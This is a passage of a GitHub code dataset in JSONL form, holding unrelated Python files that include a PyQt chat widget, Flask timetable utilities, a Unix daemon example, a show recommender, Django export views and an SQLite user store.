{input_num}')\nprint(f'Output: {sol.reverse(input_num)}')\n \n","repo_name":"seeyarh/interview-prep","sub_path":"leetcode/ReverseInteger.py","file_name":"ReverseInteger.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18443162897","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule which implements Chat area implemented as a QtabWidget.\n\"\"\"\nimport datetime\nfrom queue import Queue\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nfrom NCryptoTools.tools.utilities import get_formatted_date\nfrom NCryptoTools.jim.jim_constants import JIMMsgType\nfrom NCryptoTools.jim.jim_core import JIMMessage\n\nfrom NCryptoClient.utils.constants import BOLD_IMG_PATH, ITALIC_IMG_PATH, UNDERLINED_IMG_PATH\n\n\nclass UiChat(QTabWidget):\n \"\"\"\n Widget-class which has a set of tabs, each of which is a separate chat.\n \"\"\"\n def __init__(self, parent=None):\n \"\"\"\n Constructor. Initializes chat, creating an empty window without tabs.\n @param parent: parent window.\n \"\"\"\n super().__init__(parent)\n self.parent = parent\n self.setGeometry(328, 64, 664, 816)\n self.setObjectName('chat_tw')\n self.setTabsClosable(True)\n self.tabCloseRequested.connect(self.close_chat_tab)\n self.show()\n\n def add_chat_tab(self, chat_name):\n \"\"\"\n Adds tab in the chat widget.\n @param chat_name: chat name.\n @return: -\n \"\"\"\n tabs_amount = self.count()\n\n # if there is no tabs, chat widget can possibly be in a closed state,\n # so we should open it first\n if self.count() == 0:\n self.show()\n chat_widget = UiChatTab(chat_name, self)\n self.addTab(chat_widget, chat_name)\n self.setCurrentIndex(0)\n chat_widget.show()\n\n # if chat widget already has some tabs, we check that the tab with\n # needed name is not there\n else:\n index = self.find_tab(chat_name)\n if index is None:\n chat_widget = UiChatTab(chat_name, self)\n self.addTab(chat_widget, chat_name)\n self.setCurrentIndex(tabs_amount)\n chat_widget.show()\n\n # if tab already exists, we switch the current selection to it\n else:\n self.setCurrentIndex(index)\n\n def close_chat_tab_by_name(self, tab_name):\n \"\"\"\n Deletes tab by its name.\n @param tab_name: tab name (chat name).\n @return: -\n \"\"\"\n index = self.find_tab(tab_name)\n self.close_chat_tab(index)\n\n def close_chat_tab(self, index):\n \"\"\"\n Deletes tab by its index.\n @param index: tab index.\n @return: -\n \"\"\"\n if index is not None:\n self.removeTab(index)\n\n # if user has closed the last tab - shows the inscription\n if self.count() == 0:\n self.hide()\n self.parent.select_chat_st.show()\n\n def find_tab(self, tab_name):\n \"\"\"\n Tries to to find the tab with needed name.\n @param tab_name: tab name (chat name).\n @return: tab index.\n \"\"\"\n # Handles one-tab case separately, because range() will give us an error\n tabs_amount = self.count()\n if tabs_amount == 1:\n if self.widget(0).tab_name == tab_name:\n return 0\n return None\n\n for i in range(0, tabs_amount):\n if self.widget(i).tab_name == tab_name:\n return i\n return None\n\n def add_tab_data(self, tab_index, time, message):\n \"\"\"\n Adds new message (data) to the needed tab. This function is used\n when needs to load messages from history.\n @param tab_index: tab index.\n @param time: time/sender string.\n @param message: new message.\n @return: -\n \"\"\"\n self.widget(tab_index).add_data(time, message)\n\n def add_tab_data_from_buffer(self, tab_index):\n \"\"\"\n Adds new message (data) to the needed tab from the tab's internal\n buffer. This function is used when the current user sends messages.\n @param tab_index: tab index.\n @return: -\n \"\"\"\n self.widget(tab_index).add_data_from_buffer()\n\n def remove_tab_data(self, tab_index, data):\n \"\"\"\n Deletes row from the needed searching it by data.\n @param tab_index: tab index.\n @param data: data to be searched.\n @return: -\n \"\"\"\n tab = self.widget(tab_index)\n row = tab.find_row(data)\n tab.remove_data(row)\n\n\nclass UiChatTab(QWidget):\n \"\"\"\n Since we use a set of widgets placing them on each tab,\n we need a custom widget to group them. This class groups\n tab widgets in oneself.\n \"\"\"\n def __init__(self, tab_name, parent=None):\n super().__init__(parent)\n self.parent = parent\n self._message_queue = Queue(30)\n self.tab_name = tab_name\n\n # Chat window (messages display)\n self._chat_lb = QListWidget(self)\n self._chat_lb.setGeometry(QRect(8, 8, 640, 640))\n self._chat_lb.setResizeMode(QListView.Adjust)\n self._chat_lb.setObjectName(tab_name + '_contacts_lb')\n\n # Message input box\n self._msg_te = QTextEdit(self)\n self._msg_te.setGeometry(QRect(8, 656, 544, 120))\n # self._msg_te.setMaxLength(128)\n # self._msg_te.setAlignment(Qt.AlignLeft)\n self._msg_te.setObjectName(tab_name + '_msg_te')\n\n self._font = QFont()\n self._msg_te.setFont(self._font)\n\n self._buttons = []\n self._add_bitmap_button(BOLD_IMG_PATH,\n QRect(560, 656, 24, 24), 'bold_pb', self.set_bold)\n self._add_bitmap_button(ITALIC_IMG_PATH,\n QRect(592, 656, 24, 24), 'italic_pb', self.set_italic)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 656, 24, 24), 'underlined_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(560, 688, 24, 24), 'smile_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(592, 688, 24, 24), 'sad_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 688, 24, 24), '3_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(560, 720, 24, 24), '4_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(592, 720, 24, 24), '5_emoji_pb', self.set_underlined)\n self._add_bitmap_button(UNDERLINED_IMG_PATH,\n QRect(624, 720, 24, 24), '6_emoji_pb', self.set_underlined)\n\n # \"Send\" button\n self._send_pb = QPushButton(self)\n self._send_pb.setText('Send')\n self._send_pb.setGeometry(QRect(560, 752, 88, 24))\n self._send_pb.setObjectName(tab_name + '_send_pb')\n\n self._send_pb.clicked.connect(self._send_msg)\n\n def _add_bitmap_button(self, bitmap, geometry, object_name, action):\n button = QPushButton(self)\n button.setGeometry(geometry)\n button.setObjectName(object_name)\n button.setIcon(QIcon(bitmap))\n button.clicked.connect(action)\n self._buttons.append(button)\n\n # button.setIcon()\n\n def _send_msg(self):\n \"\"\"\n Sends message to the server when \"Send\" button is being pressed.\n @return: -\n \"\"\"\n msg_text = self._msg_te.toPlainText()\n\n if self._font.bold():\n msg_text = '{}'.format(msg_text)\n if self._font.italic():\n msg_text = '{}'.format(msg_text)\n if self._font.underline():\n msg_text = '{}'.format(msg_text)\n\n login = self.parent.parent.get_login()\n current_time = datetime.datetime.now().timestamp()\n if self.tab_name.startswith('#'):\n msg = JIMMessage(JIMMsgType.CTS_CHAT_MSG, **{'action': 'msg', 'time': current_time,\n 'to': self.tab_name, 'from': login,\n 'message': msg_text})\n else:\n msg = JIMMessage(JIMMsgType.CTS_PERSONAL_MSG, **{'action': 'msg', 'time': current_time,\n 'to': self.tab_name, 'from': login,\n 'encoding': 'utf-8', 'message': msg_text})\n\n self.parent.parent.msg_handler.write_output_bytes(msg.serialize())\n\n time = '[{}] @{}> '.format(get_formatted_date(current_time), login)\n self._message_queue.put((time, msg_text))\n\n def set_bold(self):\n self._font.setBold(not self._font.bold())\n self._msg_te.setFont(self._font)\n\n def set_italic(self):\n self._font.setItalic(not self._font.italic())\n self._msg_te.setFont(self._font)\n\n def set_underlined(self):\n self._font.setUnderline(not self._font.underline())\n self._msg_te.setFont(self._font)\n\n def parse_rich_text(self, rich_text):\n font = QFont()\n if rich_text.startswith(''):\n font.setUnderline(True)\n rich_text = rich_text[3:-3]\n if rich_text.startswith(''):\n font.setItalic(True)\n rich_text = rich_text[3:-3]\n if rich_text.startswith(''):\n font.setBold(True)\n rich_text = rich_text[3:-3]\n return rich_text, font\n\n def add_data_from_buffer(self):\n \"\"\"\n Adds new data from the internal buffer. This function is being called\n only after receiving server answer that out message has been successfully\n received by user.\n @return: -\n \"\"\"\n # Clears message input text\n self._msg_te.clear()\n\n # Takes the first message from the queue\n (time, message) = self._message_queue.get()\n self.add_data(time, message)\n\n def add_data(self, time, message):\n \"\"\"\n Adds new data from the external buffer.\n @param time: time and sender.\n @param message: new data (message).\n @return: -\n \"\"\"\n (plain_text, font) = self.parse_rich_text(message)\n\n # QLabel for the time/sender\n time_st = QLabel(time)\n time_st.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\n time_st.adjustSize()\n\n # QLabel for the message\n message_st = QLabel(plain_text)\n message_st.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\n message_st.setFont(font)\n message_st.adjustSize()\n\n # Layout: time + message\n container = QFormLayout()\n container.setContentsMargins(0, 0, 0, 0)\n container.addRow(time_st, message_st)\n\n complete_line = QWidget()\n complete_line.setLayout(container)\n\n item = QListWidgetItem()\n item.setSizeHint(QSize(item.sizeHint().width(), 20))\n\n self._chat_lb.addItem(item)\n self._chat_lb.setItemWidget(item, complete_line)\n","repo_name":"Dreqnite/NCryptoClient","sub_path":"NCryptoClient/ui/ui_chat_tab.py","file_name":"ui_chat_tab.py","file_ext":"py","file_size_in_byte":10965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73730637253","text":"import re\nimport numpy as np\n\n\ndef doppel_string(listA, listB):\n assert(len(listA) == len(listB))\n # Update each list item so that it's justified \n # outList = [a.ljust(max(len(a), len(b))) + '\\n' + b.ljust(max(len(a), len(b))) for a, b in zip(listA, listB)]\n outA = []\n outB = []\n for a, b in zip(listA, listB):\n m = max(len(a), len(b))\n outA.append(a.ljust(m))\n outB.append(b.ljust(m))\n # outList.append(a.ljust(m) + '\\n' + b.ljust(m))\n outString = ' '.join(outA) + '\\n' + ' '.join(outB)\n return outString\n\ndef set_intersection(listA, listB):\n return not set(listA).isdisjoint(listB)\n\ndef flatten_list(xlist):\n flat_list = [item for sublist in xlist for item in sublist]\n return flat_list\n\n\ndef get_endgrams(inpList, n):\n return [inpList[:n], inpList[-n:]]\n\ndef get_ngrams(inpList, n):\n return [inpList[i:i+n] for i in range(len(inpList)-n+1)]\n\n\ndef neighborhood(iterable):\n iterator = iter(iterable)\n prev_item = None\n current_item = next(iterator) # throws StopIteration if empty.\n for next_item in iterator:\n yield (prev_item, current_item, next_item)\n prev_item = current_item\n current_item = next_item\n yield (prev_item, current_item, None)\n\ndef union_sets(sets):\n combo = set()\n for s in sets:\n combo = combo.union(s)\n return combo\n\ndef make_listMap(grafs, pad = 0):\n grafMap = np.cumsum([pad + len(graf) for graf in grafs])\n grafMap = np.insert(grafMap, 0, 0)\n return grafMap\n\ndef thing_to_map(sent_index, grafMap):\n mod = sent_index + 1\n idx = 0\n while idx < len(grafMap):\n if grafMap[idx] >= mod:\n break\n idx = idx + 1\n i1 = idx - 1\n i2 = max(0,mod - grafMap[idx-1] - 1)\n return [i1, i2]","repo_name":"eliotl/rg_poetry","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35304109888","text":"import os\nimport sys\n\n\"\"\"necessary to disown all child procs and parent procs\"\"\"\nUMASK = 0\nWORKDIR = \"/home/sanket\"\nMAXFD = 1024\n\n'''if(hasattr(os,\"devnull\")):\n\tREDIRECT_TO = os.devnull\nelse:\n\tREDIRECT_TO = \"/dev/null\"\n'''\ndef createDaemon():\n\n\ttry:\n\t\tpid = os.fork() #create the process\n\texcept OSError:\n\t\traise \"%s [%d]\" % (OSError.strerror,OSError.errno)\n\n\tif(pid == 0):\n\t\tos.setsid() #(set session id) i.e create new session\n\n\t\t#second child process\n\t\ttry:\n\t\t\tpid = os.fork()\n\t\texcept OSError:\n\t\t\t\traise \"%s [%d] \" % (OSError.strerror, OSError.errorno)\n\t\tif(pid == 0):\n\t\t\tos.chdir(WORKDIR)\n\t\t\tos.umask(UMASK)\n\t\telse:\n\t\t\tos._exit(0)\n\n\telse:\n\t\tos._exit(0)\n\n\ttry:\n\t\tmaxfd = os.sysconf(\"SC_OPEN_MAX\")\n\texcept( AttributeError,ValueError):\n\t\tmaxfd = MAXFD\n\n\treturn(0)\n'''\n\tfor fd in range(0,maxfd):\n\t\ttry:\n\t\t\tos.close(fd)\n\t\texcept OSError:\n\t\t\tpass\n\n\tos.open(REDIRECT_TO,os.O_RDWR) #will return 0, therefore the 0 file desc will point to /dev/null or redirect_to\n\n\tos.dup2(0,1)\n\tos.dup2(0,2)\n\n\treturn(0)\n'''\n\n\nif __name__ == \"__main__\":\n\tretCode = createDaemon()\n\tos.system(\"echo 'Here'\")\n\tprocParams = \"\"\"\n\t return code = %s\n\t process ID = %s\n\t parent process ID = %s\n\t process group ID = %s\n\t session ID = %s\n\t user ID = %s\n\t effective user ID = %s\n\t real group ID = %s\n\t effective group ID = %s\n\t \"\"\" % (retCode, os.getpid(), os.getppid(), os.getpgrp(), os.getsid(0),\n\t os.getuid(), os.geteuid(), os.getgid(), os.getegid())\n\n\topen(\"createDaemon.log\", \"w\").write(procParams + \"\\n\")\n\n\tsys.exit(retCode)\n","repo_name":"mehrotrasan16/zeitgeist-plus-plus","sub_path":"daemon-2.py","file_name":"daemon-2.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12035200836","text":"import os\nimport uuid\nimport calendar\nimport operator\nfrom datetime import datetime, timedelta, date\n\ntry:\n from urlparse import urlparse, urljoin\nexcept ImportError:\n from urllib.parse import urlparse, urljoin\n\nfrom flask import current_app, request, url_for, redirect, flash\nfrom flask_login import current_user\n\nfrom syllabin.components import db\nfrom syllabin.models import User, Group, Subject, Room, Professor, Timetable\n\n\ndef getFirstWeekDay(dt):\n return dt - timedelta(days=dt.weekday())\n\n\ndef getFirstMonthDay(dt, d_months=0, d_years=0):\n y, m = dt.year + d_years, dt.month + d_months\n a, m = divmod(m-1, 12)\n return datetime(y+a, m+1, 1)\n\n\ndef isWeekday(dt):\n int_day_of_week = dt.weekday()\n day_of_week = calendar.day_name[int_day_of_week]\n if day_of_week not in ['Saturday','Sunday']:\n return True\n else:\n return False\n\n\ndef getCurrentDay(dt):\n int_day_of_week = dt.weekday()\n return calendar.day_name[int_day_of_week]\n\n\ndef getMondayForWeek(week):\n dt = date.today()\n if dt.month > 7:\n start = 9\n else:\n start = 2\n first = date(dt.year, start, 1)\n base = 1 if first.isocalendar()[1] == 1 else 8\n return first + timedelta(days=base - first.isocalendar()[2] + 7 * (week - 1))\n\n\ndef daterange(start_date, end_date):\n for n in range(int ((end_date - start_date).days)):\n yield start_date + timedelta(n)\n\n\ndef getFirstWorkingDayOfMonth(dt):\n first_day_of_month = getFirstMonthDay(dt)\n seventh_day_of_month = first_day_of_month + timedelta(days=6)\n for d in daterange(first_day_of_month, seventh_day_of_month):\n if isWeekday(d):\n return d.date()\n else:\n continue\n\n\ndef getCurrentWeek(dt):\n if dt.month > 7:\n start = 9\n else:\n start = 2\n first_working_day_of_month = getFirstWorkingDayOfMonth(datetime(dt.year, start, 1))\n return dt.isocalendar()[1] - first_working_day_of_month.isocalendar()[1] + 1\n\n\ndef getDayEntries(dt):\n current_week = getCurrentWeek(dt)\n current_day = getCurrentDay(dt)\n if current_user.is_admin:\n user_group = None\n else:\n user_group = current_user.group\n return getEntriesHelper(current_day, current_week, user_group)\n\n\ndef getWeekEntries(week_num):\n week_entries = []\n if current_user.is_admin:\n user_group = None\n else:\n user_group = current_user.group\n for current_day in [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\"]:\n week_entries.append(getEntriesHelper(current_day, week_num, user_group))\n return week_entries\n\n\ndef getEntriesHelper(current_day, current_week, user_group):\n if user_group is None:\n today_table_entries = Timetable.query.filter_by(weekday=current_day).all()\n else:\n today_table_entries = Timetable.query.filter_by(weekday=current_day, group_id=user_group.id).all()\n current_entries = []\n for today_table_entry in today_table_entries:\n if today_table_entry.week_nums.count(str(current_week)):\n for lesson in today_table_entry.lesson_nums:\n current_entries.append([today_table_entry, int(lesson)])\n return sorted(current_entries, key=lambda x: x[1])\n\n\n\ndef is_safe_url(target):\n ref_url = urlparse(request.host_url)\n test_url = urlparse(urljoin(request.host_url, target))\n return test_url.scheme in ('http', 'https') and \\\n ref_url.netloc == test_url.netloc\n\n\ndef redirect_back(default='main.index', **kwargs):\n for target in request.args.get('next'), request.referrer:\n if not target:\n continue\n if is_safe_url(target):\n return redirect(target)\n return redirect(url_for(default, **kwargs))\n","repo_name":"IlyaMZP/syllabin","sub_path":"syllabin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32654282254","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n# Main program starts here\n# read the data\nuser_shows_pd = pd.read_csv('user-shows.txt', sep=' ', header=None)\n\nuser_show_matrix = (np.asarray(user_shows_pd, dtype=int))\nnum_users, num_shows = user_show_matrix.shape\n\nshows_pd = np.asarray(pd.read_csv('shows.txt', sep=' ', header=None))\n\n\nwith open('trng.txt', 'w') as f:\n for user in range(num_users):\n for item in range(num_shows):\n if user_show_matrix[user, item] == 1:\n f.write(str(user+1))\n f.write(',')\n f.write(str(item+1))\n f.write('\\n')\nshow_ids = []\n\n\ndef user_user_item_item_matrix(matrix1, users_item_rating_mat, is_user_sim):\n cosine_similarity_mat = cosine_similarity(matrix1, matrix1)\n if is_user_sim:\n print (\"User-User Filtering\")\n tau_mat_u2u = np.dot(cosine_similarity_mat, users_item_rating_mat)\n else:\n print (\"Item-Item Filtering\")\n tau_mat_u2u = np.dot(users_item_rating_mat, cosine_similarity_mat)\n sorted_index = np.argsort(tau_mat_u2u[19, :])\n reversed_sorted_index = sorted_index[::-1]\n top_100_shows_list = []\n for i in range(10):\n index = reversed_sorted_index[i]\n rating = tau_mat_u2u[19, index]\n show_name = shows_pd[index]\n top_100_shows_list.append(show_name[0])\n print (\"Show Id = \" + str(index+1) + \" \" + show_name[0] + \" rating :\" + str(rating))\n\n return top_100_shows_list\n\n\ntop_shows_u2u = user_user_item_item_matrix(user_show_matrix, user_show_matrix, True)\ntop_shows_item2item = user_user_item_item_matrix(user_show_matrix.transpose(), user_show_matrix, False)\nshow_ids_list = [145, 97, 36,75,156,174,206,64,141,146, 97, 75, 141, 46, 61, 157, 69, 36, 138, 327,\n 235, 49, 38, 544, 491, 478, 281, 554, 490, 223, 49, 78, 193, 209, 281, 196, 208, 223, 220, 490]\nshow_ids_sorted = show_ids_list.sort()\nprint (\"==Sorted Ids==\")\nfor item in show_ids_list:\n show_id = item -1\n print (str(item) + \",\" + shows_pd[show_id][0])","repo_name":"KumarDeepankar/Data-Mining","sub_path":"Recommendation System/python script/Exercise5.py","file_name":"Exercise5.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42854789243","text":"import xml.etree.ElementTree as ET \nimport csv\nfrom os import path \n\ndef extractTree(folder):\n with open(folder, 'r') as file:\n data = file.read()\n return ET.fromstring(data)\n \ndef extractData(folder,col):\n tree = extractTree(folder)\n npath, nfile = path.split(folder)\n lstFile = nfile.split('.')\n\n totalReviews, totalSentences = 0, 0\n dictAspects, dictPolarities = {}, {}\n for review in tree.findall('Review'):\n textReview = \"\"\n totalReviews = totalReviews + 1 \n rid = review.get('rid')\n lstSentence, lstAspect, lstPolarity = [], [], []\n for sentence in review.find('sentences').findall('sentence'): \n totalSentences = totalSentences + 1\n lstSentence.append(sentence.find('text').text)\n textReview +=\" \"+ sentence.find('text').text\n for opinion in review.find('Opinions').findall('Opinion'):\n aspect = (opinion.get('category').split('#')[0], opinion.get('category').split('#')[1]) \n lstAspect.append(aspect)\n if aspect in dictAspects:\n dictAspects[aspect] = dictAspects[aspect] + 1 \n else:\n dictAspects[aspect] = 0\n \n polarity = opinion.get('polarity')\n if polarity in dictPolarities:\n dictPolarities[polarity] = dictPolarities[polarity] + 1 \n else:\n dictPolarities[polarity] = 0\n lstPolarity.append(polarity)\n textReview = textReview[1:]\n col.insert_one({\n 'ID':rid,\n 'Review':textReview,\n 'Sentences':lstSentence,\n 'Aspects':lstAspect,\n 'Polarities':lstPolarity\n })\n \n \n with open(npath + '/Resume_' + lstFile[0] + '.txt', 'w') as file:\n file.write('*'*10 + 'Resumen de datos leídos' +'*'*10 + '\\n')\n file.write('\\t Total de reseñas leídas:\\t' + str(totalReviews) + '\\n')\n file.write('\\t Total de parrafos leídas:\\t' + str(totalSentences) + '\\n')\n file.write('\\t Total de aspectos hallados:' + '\\n')\n for (key, value) in dictAspects.items():\n file.write('\\t\\t' + str(key) + ':\\t' + str(value) + '\\n')\n file.write('\\t Total de polaridades halladas:' + '\\n') \n for (key, value) in dictPolarities.items():\n file.write('\\t\\t' + str(key) + ':\\t' + str(value) + '\\n')\n ","repo_name":"JergeRG/SDEBARR","sub_path":"Source/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43354817028","text":"import string\nfrom django.shortcuts import render\nfrom django.views.generic import ListView, TemplateView\nfrom django.http import HttpResponse, Http404\nfrom django_tables2 import SingleTableView\nfrom .models import Book, Publisher, User\nfrom .tables import BookTable\nfrom wkhtmltopdf.views import PDFTemplateView\nimport csv\n\nclass BookListView(ListView):\n template_name = 'book/book_list.html'\n model = Book\n\n\ndef csv_export(request):\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"books.csv\"'\n writer = csv.writer(response)\n for book in Book.objects.all():\n strAuthors = \" \".join([author.username for author in book.coauthors.all()])\n writer.writerow([book.id, book.name, book.publisher.name, strAuthors, book.published_date])\n return response\n\nclass DetailView(SingleTableView):\n table_class = BookTable\n template_name = 'book/detail.html'\n\n def get_queryset(self):\n return Book.objects.all()\n\nclass PdfSampleView(SingleTableView, PDFTemplateView):\n table_class = BookTable\n filename = 'detail.pdf'\n template_name = 'book/detail.html'\n\n def get_queryset(self):\n return Book.objects.all()\n\n def get(self, request, *args, **kwargs):\n response_class = self.response_class\n self.object_list = self.get_queryset()\n allow_empty = self.get_allow_empty()\n try:\n if request.GET.get('as', '') == 'html':\n self.response_class = self.html_response_class\n finally:\n self.response_class = response_class\n\n if self.get_paginate_by(self.object_list) is not None and hasattr(\n self.object_list, \"exists\"\n ):\n is_empty = not self.object_list.exists()\n else:\n is_empty = not self.object_list\n if is_empty:\n raise Http404(\n _(\"Empty list and “%(class_name)s.allow_empty” is False.\")\n % {\n \"class_name\": self.__class__.__name__,\n }\n )\n context = self.get_context_data()\n return self.render_to_response(context)\n","repo_name":"Kaito-a-bit/outputcsv","sub_path":"book/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40253478460","text":"import sqlite3\n\n\nclass userBD1:\n\n def __init__(self, path) -> None:\n self.connection = sqlite3.connect(path)\n self.cursor = self.connection.cursor()\n # cursor.execute(\"ВАШ-SQL-ЗАПРОС-ЗДЕСЬ;\")\n\n def create_table(self):\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS users( \n user_id TEXT PRIMARY KEY,\n roads_id TEXT,\n road_progress INT);\n \"\"\")\n self.connection.commit()\n\n def add_user_in_data(self, user_id):\n \"\"\"добавляет по id пользователя его в базу данных создает прогресс 0 и строку с пройдеными дорогами\"\"\"\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (user_id, '', 0))\n self.connection.commit()\n\n def add_road_in_data_on_user(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n a = str(res[1] + ' ' + str(road_id)).strip()\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), a, (str(res[2]) + ' ' + '0').strip()))\n self.connection.commit()\n\n def get_user_info(self, user_id_find):\n \"\"\"возвращает по id данные пользователя, если такого нет None\"\"\"\n res = self.cursor.execute(f\"SELECT * FROM users WHERE user_id='{user_id_find}';\").fetchone()\n if res is None:\n return None\n self.connection.commit()\n a = {}\n for i in range(len(res[1].split())):\n a[res[1].split()[i]] = res[2].split()[i]\n return a\n\n def change_user_progress(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n for i in range(len(res[1].split())):\n if res[1].split()[i] == str(road_id):\n a = res[2].split()[i]\n list1 = res[2].split()\n list1[i] = str(int(a) + 1)\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), res[1], ' '.join(list1)))\n self.connection.commit()\n\n def reset_road_on_user(self, user_id, road_id):\n res = self.cursor.execute(f'SELECT * FROM users WHERE user_id=\"{str(user_id)}\"').fetchone()\n self.cursor.execute(f'DELETE FROM users WHERE user_id=\"{str(user_id)}\"')\n for i in range(len(res[1].split())):\n if res[1].split()[i] == str(road_id):\n list1 = res[2].split()\n list1[i] = '0'\n self.cursor.execute(\"INSERT INTO users VALUES(?, ?, ?);\", (str(user_id), res[1], ' '.join(list1)))\n self.connection.commit()\n\n def closeCon(self):\n self.connection.close()\n\n\nclass quizBD1:\n\n def __init__(self, path) -> None:\n self.connection = sqlite3.connect(path)\n self.cursor = self.connection.cursor()\n # cursor.execute(\"ВАШ-SQL-ЗАПРОС-ЗДЕСЬ;\")\n\n def closeCon(self):\n self.connection.close()\n","repo_name":"Keysiks/python_files","sub_path":"хакатон алиса/BD.py","file_name":"BD.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14588287901","text":"#!/usr/bin/python3\n\n\"\"\"Module for pascal_triangle function\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"\n return list of lists of integers representing\n the triangle of pascal\n\n Args:\n n (int): the number\n \"\"\"\n if n <= 0:\n return []\n triangle = [[1]]\n for j in range(1, n):\n row = [1]\n for i in range(1, j):\n row.append(triangle[j - 1][i - 1] + triangle[j - 1][i])\n row.append(1)\n triangle.append(row)\n return triangle\n","repo_name":"HafsaMAR/alx-higher_level_programming","sub_path":"0x0B-python-input_output/12-pascal_triangle.py","file_name":"12-pascal_triangle.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"16860052167","text":"#! /usr/bin/python3\n#! mapIt.y - Launches a map in browser using an address form the command \n# line or clipboard.\n\nimport webbrowser, sys\nsite = ['https://facebook.com','https://twitter.com','https://linkedin.com']\ni = len(site) -1 \nwhile i >= 0:\n\twebbrowser.open(site[i])\n\ti -= 1\n\n","repo_name":"latika18/learning","sub_path":"automate_the_boring_stuff/open_browser.py","file_name":"open_browser.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3884734866","text":"\"\"\"\nPrimary module for Alien Invaders\n\nThis module contains the main controller class for the Alien Invaders app. \nThere is no need for any additional classes in this module. If you need \nmore classes, 99% of the time they belong in either the wave module or the \nmodels module. If you are unsure about where a new class should go, post a \nquestion on Piazza.\n\n# Samuel Rodriguez (sar325) and Renan Laurore (rl497)\n# 12/10/19\n\"\"\"\nfrom consts import *\nfrom game2d import *\nfrom wave import *\n\n# PRIMARY RULE: Invaders can only access attributes in wave.py via getters/setters\n# Invaders is NOT allowed to access anything in models.py\n\nclass Invaders(GameApp):\n \"\"\"\n The primary controller class for the Alien Invaders application\n \n This class extends GameApp and implements the various methods necessary \n for processing the player inputs and starting/running a game.\n \n Method start begins the application.\n \n Method update either changes the state or updates the Play object\n \n Method draw displays the Play object and any other elements on screen\n \n Because of some of the weird ways that Kivy works, you SHOULD NOT create \n an initializer __init__ for this class. Any initialization should be done \n in the start method instead. This is only for this class. All other \n classes behave normally.\n \n Most of the work handling the game is actually provided in the class Wave.\n Wave should be modeled after subcontrollers.py from lecture, and will \n have its own update and draw method.\n \n The primary purpose of this class is to manage the game state: which is \n when the game started, paused, completed, etc. It keeps track of that in \n an internal (hidden) attribute.\n \n For a complete description of how the states work, see the specification \n for the method update.\n \n Attribute view: the game view, used in drawing \n Invariant: view is an instance of GView (inherited from GameApp)\n \n Attribute input: user input, used to control the ship or resume the game\n Invariant: input is an instance of GInput (inherited from GameApp)\n \"\"\"\n # HIDDEN ATTRIBUTES:\n # Attribute _state: the current state of the game represented as an int\n # Invariant: _state is one of STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE, \n # STATE_PAUSED, STATE_CONTINUE, or STATE_COMPLETE\n #\n # Attribute _wave: the subcontroller for a single wave, managing aliens\n # Invariant: _wave is a Wave object, or None if there is no wave currently \n # active. It is only None if _state is STATE_INACTIVE.\n #\n # Attribute _text: the currently active message\n # Invariant: _text is a list of GLabel objects, or None if there is\n # no message to display. It is only None if _state is STATE_ACTIVE.\n #\n # You may have new attributes if you wish (you might want an attribute to\n # store any score across multiple waves). But you must document them.\n # LIST MORE ATTRIBUTES (AND THEIR INVARIANTS) HERE IF NECESSARY\n\n # Attribute _list: holds list of the bool \"True\" after code runs through\n # conditional statements\n # Invariant: _list is a list of the bool \"True\"\n #\n # 